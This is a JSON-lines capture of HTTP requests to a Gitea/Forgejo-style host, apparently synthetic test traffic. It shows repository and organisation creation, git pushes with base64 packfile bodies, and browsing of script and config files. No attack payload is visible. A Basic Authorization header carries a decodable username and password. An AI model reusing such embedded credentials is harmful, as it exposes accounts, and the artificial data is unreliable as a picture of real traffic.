{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=6f0c5162ff135818; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 179", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "uid=1&repo_name=tools&description=Build+scripts+and+notes&repo_template=&auto_init=on&gitignores=&license=&readme=Default&issue_labels=&object_format_name=sha1&default_branch=main"}
|
||||||
|
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/org/create", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 59", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": "org_name=acme&visibility=0&repo_admin_change_team_access=on"}
|
||||||
|
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/create", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?count_only=1&uid=3&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=3&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/dashboard", "Accept-Encoding: gzip, deflate", "Cookie: session=97fc659c225db684; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 181"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 223"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0032want 025ecb5715ad88750bc8944ae3ee0023776b08a3\n0009done\n0000"}
|
||||||
|
{"method": "GET", "target": "/alice/tools.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 1195"], "body": "MDBiNTAyNWVjYjU3MTVhZDg4NzUwYmM4OTQ0YWUzZWUwMDIzNzc2YjA4YTMgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAA+YDXiclYtbCsIwEAD/c4r8C7J5bLMFEXuUzWaLgVZLmoLHtx7B+RkYmN5UrRTyOCtLiSKEgCPMPnoix7FIRBiT5hSd2bjpq1vwqJIxOeRClBCy0Bgja1AF8CGlIQNxMHz057vZaami9sY/PfTD67boVd7r3bo0xkAOh8Fe4MScda2961+TmUqx+ahLsbu0uvXdfAHWnz/YoRR4nDM0MDAzMVHQS88syUzPyy9KZTiU2lsrbdjSY104jdX5NHPG05wrxw2hqjJKEpOTU4uLGaIm9ecuijp2bVeqB3fZBavC0xMSLaCKglwdXXxd9XJTGIra7y45/9VpvTvn0Xl2Kzsfiq1znAJVFJ1SlJhWEgtS9fmKeemzqGM9rJ0rpsnMS4t74ZzpYmIABApJmXkMS35PtDvsY3r29PzXKw5bNU9ZxpERBzUjJT85O7VINzk/tyC/OFWvMjeHQWd5y3flxTNnR91tzrz0g3Vzj8LbmxCzgIqLGfhebpt28ZJ3sYB3caHp4gO26QUZiyDSxclFmQUlxQxfH11qDNt8SW+e8ule1UMm87rDHz6HqihKZkjJPfl/b6+HvVWbwP4LLHLrGh0WWwIAQ5+D9D54nMvLT0mNz81PKc1JLdbnAgAqqgU4sQF4nPMvKMnMzytW0PXMS0mtSC3mAgA5BQYUNnicSylKTCvhAgAIQAIcrQJ4nDM0MDAzMVFIyU/OTi3STc0rKaosyM/MK2EwlNlx2uGU5d7E5T2We5qlPpa4xEUBAGp2Eai0AXicU1bUT8rM0y/O4EqtSE1WUFJxUOICADrbBTiyAnicK04tKstMTi224lJQKE9NAlEKCpm5iempVgp56Zl5FVwAvLIKdq8CeJwzNDAwMzFRyEosS9TLScxL1wsuKcoEUrkpDDqcykduszK1ZnX7O/2+3DJ3wducWABo9hG0OXicU1YILinKzEvnAgANQQLFqQV4nDM0MDAzMVHIzCsuSczJ0S1OLsosKNErzmA4WsLziFHnpxzTZC5LhjXrhBeuDpcyhCguqCzJyM8z1k3OSE3O1iuoZNjBZ6S0Ws37+qnf5umeeyUa/a+llwEAQ3sf9roBeJxTVtRPyszTL87gSk3OyFfIzCsuSczJycxL5wIAbs0Ivzx4nCsoyswr0VDKyFTS5AIAHBwDnqwCeJwzNDAwMzFRKCjKT04tLtZLzSvTS9ErKWZoZrzwV9ki/dEqV+5di3c4P5qYE/gAAFOgEcS7AnicS0lNzkksSlVIzs8rLlFIzSuzUghKTc4vSrEpLinKzEvXUYDQdtZcAF6zD3MdeaAnWyIMS8cNQ71Ry9eDVrG43w=="}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 617"], "body": "MDBjMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZjdmZmE2MDM5NmQ5OWY2MTMxNWE1YTlhMjI1ZmMzMmViNjIyOGZkYiByZWZzL2hlYWRzL3B5dGhvbjMtbWlncmF0aW9uACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAElg14nJWNSwoCMRBE9zlF7wVJ0j35gIgewEMk6Q4OzJhhiKK3Nx7B2hS8R1F9F4GKwoGzUAmFinHOMCUO1gyKjrC6yDb6qLa0y6NDzjJZiykmqoHEF2RvtauUmbUbJkpAHbNKz35vO1yXuQic0q8u8k7rtsixtPUMxkfCYCbn4aBH1KDr3Lv8NVK39hLoDbbP+Hug+gLJoT+v+gPNgl/qzUzIUFkPJCiBpNxFCX63QXicO8h0kGkDP6NRbPrloHwvB+O3XZczPxVe7CwzvnPLxAAIFIqLkhlSck/+39vrYW/VJrD/AovcukaHxZYA3WMY768HeJwzNDAwMzFRyMwrLknMydEtTi7KLCjRK85gOFrC84hR56cc02QuS4Y164QXrg6XMoQozs1ML0osSdUrqGTYKb5c7aT9BD1nTdkJnNc8mluFrdOhqgoqSzLy84x1kzNSk7NBanfwGSmtVvO+fuq3ebrnXolG/2vpZQCoeiylOXicKyjKzCvRMNTkAgAQzwK6yhVHjb1hxkRjVbbQfVlakFC62Bw="}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 475"], "body": "MDBjNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgNGI1ZWMxYWFiNjUyNzJiNjNiNWIxZjM5YmZjMmMxNDY4NGMwNjNhMCByZWZzL2hlYWRzL2ZlYXQvZG9ja2VyLXN1cHBvcnQAIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAOVDXiclYtbCsIwEEX/s4r8CzLNswERC25kJjODxdaWEMHlW5fg/TlwDrc3EesIQyoeoOQQaXCclFExhsqOKEQFUFJwZscmr26JJDrnsWDQMUiunrODpIGYIR2lyOihkMF3f2zNTstcxV7wh5t8cN0XOddtvdohl+DHIaZsT3DMHHade5e/TmZitvetPqXpvIj5AnIRP0P5As2CX+rNTMhQWQ8kKIGk3EUJfrdBeJw7yPScaUKQvEt+cnZqUVpmTipD+l/zCRITa+JfuB2Sut6UzLn8RVLLRO9vAGSzEms8eJxzC/L3VUjMKcjMS+UCABjGA9h6SWeBbtf5prUzWzGtbNHU1VZzAQ=="}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 218"], "body": "MDBiNjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgYmJlNTIyM2E5YTRmODRlN2MzZDcyMDZmNGJkZDA2MjIzOWU4MzA5YiByZWZzL3RhZ3MvdjEuMC4wACByZXBvcnQtc3RhdHVzLXYyIHNpZGUtYmFuZC02NGsgcXVpZXQgb2JqZWN0LWZvcm1hdD1zaGExIGFnZW50PWdpdC8yLjQ5LjEtTGludXgwMDAwUEFDSwAAAAIAAAAAAp0IgjvYqOq1EK1qx1yCPP0+0x4="}
|
||||||
|
{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-receive-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/alice/powershell-scripts.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6SHY0LW1RejgtTHIyeC1UcDl3", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 397"], "body": "MDBiNTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZGQxYzIyM2RjZWI1NDQxMjdiNzhjZGMyYTZjZTM1NmY4ZWQ5NGYyZCByZWZzL2hlYWRzL21haW4AIHJlcG9ydC1zdGF0dXMtdjIgc2lkZS1iYW5kLTY0ayBxdWlldCBvYmplY3QtZm9ybWF0PXNoYTEgYWdlbnQ9Z2l0LzIuNDkuMS1MaW51eDAwMDBQQUNLAAAAAgAAAAObCXiclYtRCsIwEAX/c4r9FyTbmO0GRPQoSXzBQGOlrODxrUdwfgYGxjaARNsEbjJ5pCRVYp0DtxCKIkfPUqLXO6O4/LbHutFt6RV0zj9d8cnjteBY13EhntMpKEdROvgdt9fRzfDX5Pqzm/sCJg8twKUCeJwzNDAwMzFRCHJ1dPF11ctNYXDttjkS9vTmppsC4WHfVpXW8TJZuQIA3ioNSjp4nFNWKE4uyiwoKeYCABGaA1YUrPZOD6Y21E0qY7z1OfdB9DOSug=="}
|
||||||
|
{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 212"], "body": "0014command=ls-refs\n001aagent=git/2.49.1-Linux0016object-format=sha100010009peel\n000csymrefs\n000bunborn\n001bref-prefix refs/heads/\n001fref-prefix refs/heads/main\n001aref-prefix refs/tags/\n0014ref-prefix HEAD\n0000"}
|
||||||
|
{"method": "GET", "target": "/assets/js/activity-heatmap.514f8f16.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/bin/docker-entrypoint", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/src/process.env.d.ts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/java.lang.String.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/main/%5Bdraft%5D.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/raw/branch/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/raw/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/blame/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
